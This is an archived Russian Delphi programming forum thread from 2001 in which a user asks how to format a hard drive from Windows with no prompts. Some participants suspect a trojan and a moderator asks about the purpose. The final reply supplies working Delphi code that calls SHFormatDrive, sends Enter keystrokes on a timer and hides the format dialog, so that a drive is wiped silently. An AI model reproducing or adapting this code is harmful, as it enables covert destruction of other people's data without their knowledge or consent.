Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2002.02.28;
Скачать: CL | DM;

Вниз

Как отформатировать винт (HDD) ?   Найти похожие ветки 

 
viksoft   (2001-11-04 14:17) [0]

Подскажите как из под Windows отформатировать винт (HDD)?
Буду очень благодарен за исходники!


 
Anatoly Podgoretsky ©   (2001-11-04 15:25) [1]

format c:


 
кто-то из толпы ©   (2001-11-04 16:56) [2]

To:Anatoly Podgoretsky ©

Ну зачем так сразу?
Может, лучше FORMAT /?
Глядишь, одумается


 
Anatoly Podgoretsky ©   (2001-11-04 17:02) [3]

Ну я думаю это ни к чему, если он твердо решил это делать, но наводящий вопрос он все равно получит.
Ну если есть сложность с командной строкой, то всегда можно нажать правую кнопку на диске и выбрать пункт "форматировать", так разве что совсем тупой не справится, по крайней мере мои начинающие пользователи делали это с успехом.


 
PGM   (2001-11-05 10:33) [4]

function SHFormatDrive (Wnd: HWnd; Drive, Size, Options: Integer): Integer;


 
viksoft   (2001-11-14 11:21) [5]

Для Anatoly Podgoretsky ! Дело в том что при запуске программы Format она задает пользователю еще много лишних вопросов и спрашивает подтверждение на форматирование а мне это ни к чему.


 
Anatoly Podgoretsky ©   (2001-11-14 13:00) [6]

Ну ты хакер или нет?
Надо ответить Y


 
Dima-k17 ©   (2001-11-15 16:10) [7]

>All
Зачем давать такие функции, ведь человек явно не в благих целях хочет это использовать(Без обид, это факт).
>viksoft
Ну неужто, для вредительства нет других вариантов действия?


 
модератор ©   (2001-11-15 16:25) [8]

>viksoft
Подскажи цель твоих действий?


 
Ant_bofh   (2001-11-25 18:50) [9]

Есть ещё версия, без вывода на экран и задания вопроса :-) ... пишите на мыльницу :-) так просто не скажу :-//


 
vasco ©   (2001-11-26 05:49) [10]

>модератор
Как один из вариантов: В FineReader какой не помню версии при установке системы предлагалось сотворить ключевую дискету, для чего ее предварительно требовалось форматнуть. Не исключено, что у человека как раз в голове подобный вариант. Но:
1. Защищать программу ключевой дискетой уже считается анахронизмом. И FineReader ушел от этого.
2. На всякую хитрую ж... всегда ... ну, и т.д.
3. В любом случае хотя-бы одно предупреждение должно остаться, иначе это уже на троян похоже.
4. А может, это действительно троян?


 
vasco ©   (2001-11-26 05:51) [11]

Пардон,
Троян:= Вирус;


 
Dmitry-corp   (2001-11-26 13:18) [12]

//Народ! Пацан просит дать ему код форматирования винта а не обсуждать его вопрос. Кароче вот тебе код, интервал у таймера :=1.

var
Form1: TForm1;
const SHFMT_DRV_A=0;
const SHFMT_DRV_B=1;
const SHFMT_ID_DEFAULT=$FFFF;
const SHFMT_OPT_QUICKFORMAT=0;
const SHFMT_OPT_FULLFORMAT=1;
const SHFMT_OPT_SYSONLY=2;
const SHFMT_ERROR=-1;
const SHFMT_CANCEL=-2;
const SHFMT_NOFORMAT=-3;
function SHFormatDrive(hWnd: HWND; Drive: Word; fmtID: Word; Options: Word): Longint
stdcall; external "Shell32.dll" name "SHFormatDrive";

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
// var FmtRes: longint; begin
try
{FmtRes:=}
ShFormatDrive(Handle,SHFMT_DRV_A,SHFMT_ID_DEFAULT,SHFMT_OPT_QUICKFORMAT);
{ case FmtRes of
SHFMT_ERROR: ShowMessage("Error formatting the drive");
SHFMT_CANCEL: ShowMessage("User canceled formatting the drive");
SHFMT_NOFORMAT: ShowMessage("No Format")
else
ShowMessage("Disk has been formatted");
end;} except
end;
end;


procedure TForm1.Timer1Timer(Sender: TObject);
begin
keybd_event(13,0,0,0);
if ShowWindow(FindWindow(nil,PChar("Форматирование Буква диска Латинской буквой:\")),SW_HIDE)=true then Timer1.Enabled:= False;
end;

end.

//Диск начинает форматироваться Сразу после запуска (тот который ты укажешь в диалоге форматирования и в каптионе окна которое мы будем скрывать).



Страницы: 1 вся ветка

Текущий архив: 2002.02.28;
Скачать: CL | DM;

Наверх




Память: 0.5 MB
Время: 0.008 c
3-90478
Garmahis
2002-01-30 20:00
2002.02.28
Оператор UPDATE в SQL


1-90609
dim2001
2002-02-08 18:51
2002.02.28
Какая исключительная ситуация происходит ?


1-90540
Иван
2002-02-11 08:47
2002.02.28
Delphi vs Excel


1-90600
IgoX
2002-02-05 00:32
2002.02.28
Разрешение картинки


4-90722
Black Wolf
2001-12-28 16:23
2002.02.28
Выбор информации подобно Event Viewer